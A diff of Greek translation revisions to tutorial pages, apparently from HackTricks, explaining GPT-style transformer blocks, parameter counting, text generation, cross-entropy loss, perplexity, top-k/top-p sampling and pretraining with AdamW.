- **Υπολογισμός Διακύμανσης (`var`):** Υπολογίζει τη διακύμανση του `x` σε όλη τη διάρκεια της διάστασης embedding, διατηρώντας επίσης τη διάσταση. Η παράμετρος `unbiased=False` διασφαλίζει ότι η διακύμανση υπολογίζεται χρησιμοποιώντας τον μεροληπτικό εκτιμητή (διαιρώντας με `N` αντί για `N-1`), που είναι κατάλληλο όταν κανονικοποιούμε σε χαρακτηριστικά αντί για δείγματα.
@ -306,7 +308,7 @@ return self.scale * norm_x + self.shift
### **Transformer Block**
_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
_Οι σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
@ -348,35 +350,35 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Σκοπός και Λειτουργικότητα**
- **Σύνθεση Στρωμάτων:** Συνδυάζει multi-head attention, feedforward network, layer normalization και residual connections.
- **Layer Normalization:** Εφαρμόζεται πριν από τα στρώματα attention και feedforward για σταθερή εκπαίδευση.
- **Residual Connections (Συντομεύσεις):** Προσθέτει την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσει τη ροή του gradient και να επιτρέψει την εκπαίδευση βαθιών δικτύων.
- **Dropout:** Εφαρμόζεται μετά τα στρώματα attention και feedforward για κανονικοποίηση.
- **Σύνθεση Στρωμάτων:** Συνδυάζει πολυκεφαλική προσοχή, δίκτυο τροφοδότησης, κανονικοποίηση στρώματος και υπολειμματικές συνδέσεις.
- **Κανονικοποίηση Στρώματος:** Εφαρμόζεται πριν από τα στρώματα προσοχής και τροφοδότησης για σταθερή εκπαίδευση.
- **Υπολειμματικές Συνδέσεις (Συντομεύσεις):** Προσθέτουν την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσουν τη ροή του βαθμού και να επιτρέψουν την εκπαίδευση βαθιών δικτύων.
- **Dropout:** Εφαρμόζεται μετά από τα στρώματα προσοχής και τροφοδότησης για κανονικοποίηση.
#### **Λειτουργικότητα Βήμα-Βήμα**
1. **Πρώτη Διαδρομή Residual (Self-Attention):**
- **Είσοδος (`shortcut`):** Αποθηκεύει την αρχική είσοδο για τη σύνδεση residual.
- **Layer Norm (`norm1`):** Κανονικοποιεί την είσοδο.
- **Multi-Head Attention (`att`):** Εφαρμόζει self-attention.
- **Dropout (`drop_shortcut`):** Εφαρμόζει dropout για κανονικοποίηση.
- **Προσθήκη Residual (`x + shortcut`):** Συνδυάζει με την αρχική είσοδο.
2. **Δεύτερη Διαδρομή Residual (FeedForward):**
- **Είσοδος (`shortcut`):** Αποθηκεύει την ενημερωμένη είσοδο για την επόμενη σύνδεση residual.
- **Layer Norm (`norm2`):** Κανονικοποιεί την είσοδο.
- **FeedForward Network (`ff`):** Εφαρμόζει τη μετασχηματιστική διαδικασία feedforward.
- **Dropout (`drop_shortcut`):** Εφαρμόζει dropout.
- **Προσθήκη Residual (`x + shortcut`):** Συνδυάζει με την είσοδο από την πρώτη διαδρομή residual.
1. **Πρώτη Υπολειμματική Διαδρομή (Αυτοπροσοχή):**
- **Είσοδος (`shortcut`):** Αποθηκεύστε την αρχική είσοδο για τη υπολειμματική σύνδεση.
- **Κανονικοποίηση Στρώματος (`norm1`):** Κανονικοποιήστε την είσοδο.
- **Πολυκεφαλική Προσοχή (`att`):** Εφαρμόστε αυτοπροσοχή.
- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout για κανονικοποίηση.
- **Προσθήκη Υπολειμμάτων (`x + shortcut`):** Συνδυάστε με την αρχική είσοδο.
2. **Δεύτερη Υπολειμματική Διαδρομή (Τροφοδότηση):**
- **Είσοδος (`shortcut`):** Αποθηκεύστε την ενημερωμένη είσοδο για την επόμενη υπολειμματική σύνδεση.
- **Κανονικοποίηση Στρώματος (`norm2`):** Κανονικοποιήστε την είσοδο.
- **Δίκτυο Τροφοδότησης (`ff`):** Εφαρμόστε τη μετασχηματιστική τροφοδότηση.
- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout.
- **Προσθήκη Υπολειμμάτων (`x + shortcut`):** Συνδυάστε με την είσοδο από την πρώτη υπολειμματική διαδρομή.
> [!TIP]
> Το μπλοκ transformer ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\
> Σημειώστε πώς τα dropouts γίνονται μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν.
> Το μπλοκ μετασχηματιστή ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\
> Σημειώστε πώς γίνονται τα dropouts μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν.
>
> Επιπλέον, χρησιμοποιεί και συντομεύσεις που συνίστανται στο **να προσθέτει την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του gradient διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία.
> Επιπλέον, χρησιμοποιεί επίσης συντομεύσεις που συνίστανται στο **να προσθέτουν την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του βαθμού διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία.
### **GPTModel**
_Σχήματα έχουν προστεθεί ως σχόλια για καλύτερη κατανόηση των σχημάτων των μητρών:_
_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
@ -435,22 +437,22 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
- **Ενσωματωμένα Επίπεδα:**
- **Ενσωματώσεις Token (`tok_emb`):** Μετατρέπει τους δείκτες token σε ενσωματώσεις. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται σε κάθε διάσταση κάθε token στο λεξιλόγιο.
- **Ενσωματώσεις Θέσης (`pos_emb`):** Προσθέτει πληροφορίες θέσης στις ενσωματώσεις για να συλλάβει τη σειρά των tokens. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται στα tokens σύμφωνα με τη θέση τους στο κείμενο.
- **Ενσωματώσεις Θέσης (`pos_emb`):** Προσθέτει πληροφορίες θέσης στις ενσωματώσεις για να καταγράψει τη σειρά των tokens. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται στα tokens σύμφωνα με τη θέση τους στο κείμενο.
- **Dropout (`drop_emb`):** Εφαρμόζεται στις ενσωματώσεις για κανονικοποίηση.
- **Μπλοκ Transformer (`trf_blocks`):** Στοίβα `n_layers` μπλοκ transformer για την επεξεργασία των ενσωματώσεων.
- **Τελική Κανονικοποίηση (`final_norm`):** Κανονικοποίηση επιπέδου πριν από το επίπεδο εξόδου.
- **Επίπεδο Εξόδου (`out_head`):** Προβάλλει τις τελικές κρυφές καταστάσεις στο μέγεθος του λεξιλογίου για να παραγάγει logits για πρόβλεψη.
> [!TIP]
> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η γεννήτρια κειμένου.
> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η δημιουργία κειμένου.
>
> Σημειώστε πώς θα **χρησιμοποιήσει τόσα πολλά μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12.
> Σημειώστε πώς θα **χρησιμοποιήσει τόσα μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12.
>
> Επιπλέον, ένα **επίπεδο κανονικοποίησης** προστίθεται **πριν** από την **έξοδο** και ένα τελικό γραμμικό επίπεδο εφαρμόζεται στο τέλος για να αποκτήσει τα αποτελέσματα με τις κατάλληλες διαστάσεις. Σημειώστε πώς κάθε τελικός διανύσματος έχει το μέγεθος του χρησιμοποιούμενου λεξιλογίου. Αυτό συμβαίνει επειδή προσπαθεί να αποκτήσει μια πιθανότητα ανά πιθανό token μέσα στο λεξιλόγιο.
## Αριθμός Παραμέτρων προς εκπαίδευση
Έχοντας καθορίσει τη δομή GPT, είναι δυνατόν να βρεθεί ο αριθμός παραμέτρων προς εκπαίδευση:
Έχοντας καθορίσει τη δομή GPT, είναι δυνατόν να βρείτε τον αριθμό παραμέτρων προς εκπαίδευση:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
@ -486,22 +488,22 @@ position_embedding_params = 1024 * 768 = 786,432
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Transformer Blocks**
#### **2. Μπλοκ Μετασχηματιστή**
Υπάρχουν 12 μπλοκ μετασχηματιστών, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12.
Υπάρχουν 12 μπλοκ μετασχηματιστή, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12.
**Parameters per Transformer Block**
**Παράμετροι ανά Μπλοκ Μετασχηματιστή**
**a. Multi-Head Attention**
**α. Πολυκεφαλική Προσοχή**
- **Components:**
- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Calculations:**
- **Συστατικά:**
- **Γραμμικό Επίπεδο Ερώτησης (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Γραμμικό Επίπεδο Κλειδιού (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Γραμμικό Επίπεδο Τιμής (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Προβολή Εξόδου (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Υπολογισμοί:**
- **Each of `W_query`, `W_key`, `W_value`:**
- **Κάθε από τα `W_query`, `W_key`, `W_value`:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
@ -513,59 +515,59 @@ qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
```
- **Output Projection (`out_proj`):**
- **Προβολή Εξόδου (`out_proj`):**
```python
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **Total Multi-Head Attention Parameters:**
- **Συνολικές Παράμετροι Πολυκεφαλικής Προσοχής:**
```python
mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**b. FeedForward Network**
**β. Δίκτυο Τροφοδοσίας**
- **Components:**
- **First Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **Second Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Calculations:**
- **Συστατικά:**
- **Πρώτο Γραμμικό Επίπεδο:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **Δεύτερο Γραμμικό Επίπεδο:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Υπολογισμοί:**
- **First Linear Layer:**
- **Πρώτο Γραμμικό Επίπεδο:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **Second Linear Layer:**
- **Δεύτερο Γραμμικό Επίπεδο:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **Total FeedForward Parameters:**
- **Συνολικές Παράμετροι Τροφοδοσίας:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**c. Layer Normalizations**
**γ. Κανονικοποιήσεις Επίπεδου**
- **Components:**
- Δύο `LayerNorm` περιπτώσεις ανά μπλοκ.
- **Συστατικά:**
- Δύο περιπτώσεις `LayerNorm` ανά μπλοκ.
- Κάθε `LayerNorm` έχει `2 * emb_dim` παραμέτρους (κλίμακα και μετατόπιση).
- **Calculations:**
- **Υπολογισμοί:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Total Parameters per Transformer Block**
**δ. Συνολικές Παράμετροι ανά Μπλοκ Μετασχηματιστή**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
@ -583,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**β. Στρώμα Έξοδου Πρόβλεψης (`out_head`)**
**β. Στρώμα Έξοδου (`out_head`)**
- **Στρώμα:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **Παράμετροι:** `emb_dim * vocab_size`
@ -664,3 +666,6 @@ print("Output length:", len(out[0]))
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,29 +1,31 @@
# 6. Προεκπαίδευση & Φόρτωση μοντέλων
{{#include /banners/hacktricks-training.md}}
## Δημιουργία Κειμένου
Για να εκπαιδεύσουμε ένα μοντέλο, θα χρειαστεί το μοντέλο αυτό να είναι ικανό να δημιουργεί νέους τόκενς. Στη συνέχεια, θα συγκρίνουμε τους παραγόμενους τόκενς με τους αναμενόμενους προκειμένου να εκπαιδεύσουμε το μοντέλο να **μάθει τους τόκενς που χρειάζεται να δημιουργήσει**.
Για να εκπαιδεύσουμε ένα μοντέλο, θα χρειαστεί το μοντέλο αυτό να είναι ικανό να δημιουργεί νέους τόκεν. Στη συνέχεια, θα συγκρίνουμε τους παραγόμενους τόκεν με τους αναμενόμενους προκειμένου να εκπαιδεύσουμε το μοντέλο στο **να μάθει τους τόκεν που χρειάζεται να δημιουργήσει**.
Όπως στα προηγούμενα παραδείγματα, έχουμε ήδη προβλέψει κάποιους τόκενς, είναι δυνατόν να επαναχρησιμοποιήσουμε αυτή τη λειτουργία για αυτόν τον σκοπό.
Όπως στα προηγούμενα παραδείγματα, έχουμε ήδη προβλέψει κάποιους τόκεν, είναι δυνατόν να επαναχρησιμοποιήσουμε αυτή τη λειτουργία για αυτόν τον σκοπό.
> [!TIP]
> Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαίδευση του μοντέλου από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλες τις παραμέτρους του μοντέλου.
## Αξιολόγηση Κειμένου
Για να πραγματοποιηθεί σωστή εκπαίδευση, είναι απαραίτητο να μετρηθούν οι προβλέψεις που αποκτήθηκαν για τον αναμενόμενο τόκεν. Ο στόχος της εκπαίδευσης είναι να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, που περιλαμβάνει την αύξηση της πιθανότητάς του σε σχέση με άλλους τόκενς.
Για να πραγματοποιηθεί σωστή εκπαίδευση, είναι απαραίτητο να μετρηθούν οι προβλέψεις που αποκτήθηκαν για τον αναμενόμενο τόκεν. Ο στόχος της εκπαίδευσης είναι να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, που περιλαμβάνει την αύξηση της πιθανότητάς του σε σχέση με άλλους τόκεν.
Για να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, τα βάρη του μοντέλου πρέπει να τροποποιηθούν ώστε αυτή η πιθανότητα να μεγιστοποιηθεί. Οι ενημερώσεις των βαρών γίνονται μέσω **backpropagation**. Αυτό απαιτεί μια **συνάρτηση απώλειας προς μεγιστοποίηση**. Σε αυτή την περίπτωση, η συνάρτηση θα είναι η **διαφορά μεταξύ της εκτελούμενης πρόβλεψης και της επιθυμητής**.
Ωστόσο, αντί να δουλεύει με τις ακατέργαστες προβλέψεις, θα δουλεύει με έναν λογάριθμο με βάση n. Έτσι, αν η τρέχουσα πρόβλεψη του αναμενόμενου τόκεν ήταν 7.4541e-05, ο φυσικός λογάριθμος (βάση *e*) του **7.4541e-05** είναι περίπου **-9.5042**.\
Στη συνέχεια, για κάθε είσοδο με μήκος συμφραζομένων 5 τόκενς, για παράδειγμα, το μοντέλο θα χρειαστεί να προβλέψει 5 τόκενς, με τα πρώτα 4 τόκενς να είναι το τελευταίο της εισόδου και το πέμπτο το προβλεπόμενο. Επομένως, για κάθε είσοδο θα έχουμε 5 προβλέψεις σε αυτή την περίπτωση (ακόμα και αν τα πρώτα 4 ήταν στην είσοδο, το μοντέλο δεν το γνωρίζει αυτό) με 5 αναμενόμενους τόκενς και επομένως 5 πιθανότητες προς μεγιστοποίηση.
Ωστόσο, αντί να δουλεύει με τις ακατέργαστες προβλέψεις, θα δουλεύει με έναν λογάριθμο με βάση το n. Έτσι, αν η τρέχουσα πρόβλεψη του αναμενόμενου τόκεν ήταν 7.4541e-05, ο φυσικός λογάριθμος (βάση *e*) του **7.4541e-05** είναι περίπου **-9.5042**.\
Στη συνέχεια, για κάθε είσοδο με μήκος συμφραζομένων 5 τόκεν, για παράδειγμα, το μοντέλο θα χρειαστεί να προβλέψει 5 τόκεν, με τα πρώτα 4 τόκεν να είναι το τελευταίο της εισόδου και το πέμπτο το προβλεπόμενο. Επομένως, για κάθε είσοδο θα έχουμε 5 προβλέψεις σε αυτή την περίπτωση (ακόμα και αν τα πρώτα 4 ήταν στην είσοδο, το μοντέλο δεν το γνωρίζει αυτό) με 5 αναμενόμενους τόκεν και επομένως 5 πιθανότητες προς μεγιστοποίηση.
Επομένως, μετά την εκτέλεση του φυσικού λογάριθμου σε κάθε πρόβλεψη, υπολογίζεται ο **μέσος όρος**, αφαιρείται το **σύμβολο μείον** (αυτό ονομάζεται _cross entropy loss_) και αυτός είναι ο **αριθμός που πρέπει να μειωθεί όσο το δυνατόν πιο κοντά στο 0** γιατί ο φυσικός λογάριθμος του 1 είναι 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Ένας άλλος τρόπος για να μετρηθεί πόσο καλό είναι το μοντέλο ονομάζεται perplexity. **Perplexity** είναι ένα μέτρο που χρησιμοποιείται για να αξιολογήσει πόσο καλά ένα μοντέλο πιθανότητας προβλέπει ένα δείγμα. Στη γλωσσική μοντελοποίηση, αντιπροσωπεύει την **αβεβαιότητα του μοντέλου** όταν προβλέπει τον επόμενο τόκεν σε μια ακολουθία.\
Για παράδειγμα, μια τιμή perplexity 48725 σημαίνει ότι όταν χρειάζεται να προβλέψει έναν τόκεν, δεν είναι σίγουρο ποιος από τους 48,725 τόκενς στο λεξιλόγιο είναι ο σωστός.
Για παράδειγμα, μια τιμή perplexity 48725 σημαίνει ότι όταν χρειάζεται να προβλέψει έναν τόκεν, δεν είναι σίγουρο ποιος από τους 48,725 τόκεν στο λεξιλόγιο είναι ο σωστός.
## Παράδειγμα Προεκπαίδευσης
@ -527,7 +529,7 @@ torch.save({
```
### Συναρτήσεις για τη μετατροπή κειμένου <--> ids
Αυτές είναι μερικές απλές συναρτήσεις που μπορούν να χρησιμοποιηθούν για τη μετατροπή κειμένων από το λεξιλόγιο σε ids και αντίστροφα. Αυτό είναι απαραίτητο στην αρχή της επεξεργασίας του κειμένου και στο τέλος των προβλέψεων:
Αυτές είναι μερικές απλές συναρτήσεις που μπορούν να χρησιμοποιηθούν για να μετατρέψουν κείμενα από το λεξιλόγιο σε ids και αντίστροφα. Αυτό είναι απαραίτητο στην αρχή της επεξεργασίας του κειμένου και στο τέλος των προβλέψεων:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
@ -590,9 +592,9 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!TIP]
> Υπάρχει μια κοινή εναλλακτική στο `top-k` που ονομάζεται [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), γνωστή επίσης ως δειγματοληψία πυρήνα, η οποία αντί να παίρνει k δείγματα με την πιο πιθανότητα, **οργανώνει** όλη τη **λεξιλογία** κατά πιθανότητες και **αθροίζει** αυτές από την υψηλότερη πιθανότητα προς τη χαμηλότερη μέχρι να **φτάσει σε ένα όριο**.
> Υπάρχει μια κοινή εναλλακτική στο `top-k` που ονομάζεται [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), γνωστή επίσης ως δειγματοληψία πυρήνα, η οποία αντί να παίρνει k δείγματα με την υψηλότερη πιθανότητα, **οργανώνει** όλη τη **λεξιλογία** κατά πιθανότητες και **αθροίζει** αυτές από την υψηλότερη πιθανότητα προς τη χαμηλότερη μέχρι να **φτάσει σε ένα όριο**.
>
> Στη συνέχεια, **μόνο αυτές οι λέξεις** της λεξιλογίας θα ληφθούν υπόψη σύμφωνα με τις σχετικές πιθανότητές τους.
> Στη συνέχεια, **μόνο αυτές οι λέξεις** της λεξιλογίας θα ληφθούν υπόψη σύμφωνα με τις σχετικές τους πιθανότητες.
>
> Αυτό επιτρέπει να μην χρειάζεται να επιλέξετε έναν αριθμό `k` δειγμάτων, καθώς το βέλτιστο k μπορεί να είναι διαφορετικό σε κάθε περίπτωση, αλλά **μόνο ένα όριο**.
>
@ -635,7 +637,7 @@ break
return total_loss / num_batches
```
> [!TIP]
> **Gradient clipping** είναι μια τεχνική που χρησιμοποιείται για να ενισχύσει τη **σταθερότητα εκπαίδευσης** σε μεγάλα νευρωνικά δίκτυα, θέτοντας ένα **μέγιστο όριο** για τα μεγέθη των παραγώγων. Όταν οι παράγωγοι υπερβαίνουν αυτό το προκαθορισμένο `max_norm`, κλιμακώνονται αναλογικά για να διασφαλιστεί ότι οι ενημερώσεις στις παραμέτρους του μοντέλου παραμένουν εντός ενός διαχειρίσιμου εύρους, αποτρέποντας προβλήματα όπως οι εκρηκτικοί παράγωγοι και διασφαλίζοντας πιο ελεγχόμενη και σταθερή εκπαίδευση.
> **Gradient clipping** είναι μια τεχνική που χρησιμοποιείται για να ενισχύσει τη **σταθερότητα εκπαίδευσης** σε μεγάλα νευρωνικά δίκτυα, θέτοντας ένα **μέγιστο όριο** για τα μεγέθη των παραγώγων. Όταν οι παράγωγοι υπερβαίνουν αυτό το προκαθορισμένο `max_norm`, κλιμακώνονται αναλογικά για να διασφαλιστεί ότι οι ενημερώσεις στις παραμέτρους του μοντέλου παραμένουν εντός ενός διαχειρίσιμου εύρους, αποτρέποντας προβλήματα όπως οι εκρηκτικές παράγωγοι και διασφαλίζοντας πιο ελεγχόμενη και σταθερή εκπαίδευση.
>
> _Σημειώστε ότι αυτή η βελτίωση δεν περιλαμβάνεται στον προηγούμενο κώδικα._
>
@ -653,7 +655,7 @@ return total_loss / num_batches
Και οι δύο φορτωτές δεδομένων χρησιμοποιούν το ίδιο μέγεθος παρτίδας, μέγιστο μήκος και βήμα και αριθμό εργαζομένων (0 σε αυτή την περίπτωση).\
Οι κύριες διαφορές είναι τα δεδομένα που χρησιμοποιεί ο καθένας, και οι επικυρωτές δεν απορρίπτουν το τελευταίο ούτε ανακατεύουν τα δεδομένα καθώς δεν είναι απαραίτητο για σκοπούς επικύρωσης.
Επίσης, το γεγονός ότι το **βήμα είναι τόσο μεγάλο όσο το μήκος του συμφραζομένου**, σημαίνει ότι δεν θα υπάρχει επικάλυψη μεταξύ των συμφραζομένων που χρησιμοποιούνται για την εκπαίδευση των δεδομένων (μειώνει την υπερβολική προσαρμογή αλλά και το σύνολο δεδομένων εκπαίδευσης).
Επίσης, το γεγονός ότι το **βήμα είναι όσο μεγάλο όσο το μήκος του συμφραζομένου**, σημαίνει ότι δεν θα υπάρχει επικάλυψη μεταξύ των συμφραζομένων που χρησιμοποιούνται για την εκπαίδευση των δεδομένων (μειώνει την υπερβολική προσαρμογή αλλά και το σύνολο δεδομένων εκπαίδευσης).
Επιπλέον, σημειώστε ότι το μέγεθος παρτίδας σε αυτή την περίπτωση είναι 2 για να διαιρέσει τα δεδομένα σε 2 παρτίδες, ο κύριος στόχος αυτού είναι να επιτρέψει παράλληλη επεξεργασία και να μειώσει την κατανάλωση ανά παρτίδα.
```python
@ -758,14 +760,14 @@ print("Validation loss:", val_loss)
- Τον φορτωτή επικύρωσης
- Τον **optimizer** που θα χρησιμοποιηθεί κατά τη διάρκεια της εκπαίδευσης: Αυτή είναι η συνάρτηση που θα χρησιμοποιήσει τους βαθμούς και θα ενημερώσει τις παραμέτρους για να μειώσει την απώλεια. Σε αυτή την περίπτωση, όπως θα δείτε, χρησιμοποιείται ο `AdamW`, αλλά υπάρχουν πολλοί άλλοι.
- Καλείται το `optimizer.zero_grad()` για να επαναφέρει τους βαθμούς σε κάθε γύρο ώστε να μην τους συσσωρεύει.
- Η παράμετρος **`lr`** είναι ο **ρυθμός μάθησης** που καθορίζει το **μέγεθος των βημάτων** που γίνονται κατά τη διάρκεια της διαδικασίας βελτιστοποίησης όταν ενημερώνονται οι παράμετροι του μοντέλου. Ένας **μικρότερος** ρυθμός μάθησης σημαίνει ότι ο optimizer **κάνει μικρότερες ενημερώσεις** στα βάρη, κάτι που μπορεί να οδηγήσει σε πιο **ακριβή** σύγκλιση αλλά μπορεί να **επιβραδύνει** την εκπαίδευση. Ένας **μεγαλύτερος** ρυθμός μάθησης μπορεί να επιταχύνει την εκπαίδευση αλλά **κινδυνεύει να υπερβεί** το ελάχιστο της συνάρτησης απώλειας (**να πηδήξει πάνω** από το σημείο όπου ελαχιστοποιείται η συνάρτηση απώλειας).
- Ο **Weight Decay** τροποποιεί το βήμα **Υπολογισμού Απώλειας** προσθέτοντας έναν επιπλέον όρο που επιβαρύνει τα μεγάλα βάρη. Αυτό ενθαρρύνει τον optimizer να βρει λύσεις με μικρότερα βάρη, ισορροπώντας μεταξύ της καλής προσαρμογής στα δεδομένα και της διατήρησης του μοντέλου απλού, αποτρέποντας την υπερβολική προσαρμογή σε μοντέλα μηχανικής μάθησης αποθαρρύνοντας το μοντέλο από το να αποδίδει υπερβολική σημασία σε οποιοδήποτε μεμονωμένο χαρακτηριστικό.
- Η παράμετρος **`lr`** είναι το **learning rate** που καθορίζει το **μέγεθος των βημάτων** που γίνονται κατά τη διάρκεια της διαδικασίας βελτιστοποίησης όταν ενημερώνονται οι παράμετροι του μοντέλου. Ένα **μικρότερο** learning rate σημαίνει ότι ο optimizer **κάνει μικρότερες ενημερώσεις** στα βάρη, κάτι που μπορεί να οδηγήσει σε πιο **ακριβή** σύγκλιση αλλά μπορεί να **επιβραδύνει** την εκπαίδευση. Ένα **μεγαλύτερο** learning rate μπορεί να επιταχύνει την εκπαίδευση αλλά **κινδυνεύει να υπερβεί** το ελάχιστο της συνάρτησης απώλειας (**να πηδήξει πάνω** από το σημείο όπου ελαχιστοποιείται η συνάρτηση απώλειας).
- Ο **Weight Decay** τροποποιεί το βήμα **Υπολογισμού Απώλειας** προσθέτοντας έναν επιπλέον όρο που ποινικοποιεί τα μεγάλα βάρη. Αυτό ενθαρρύνει τον optimizer να βρει λύσεις με μικρότερα βάρη, ισορροπώντας μεταξύ της καλής προσαρμογής στα δεδομένα και της διατήρησης του μοντέλου απλού, αποτρέποντας την υπερβολική προσαρμογή σε μοντέλα μηχανικής μάθησης αποθαρρύνοντας το μοντέλο από το να αποδίδει υπερβολική σημασία σε οποιαδήποτε μεμονωμένη χαρακτηριστική.
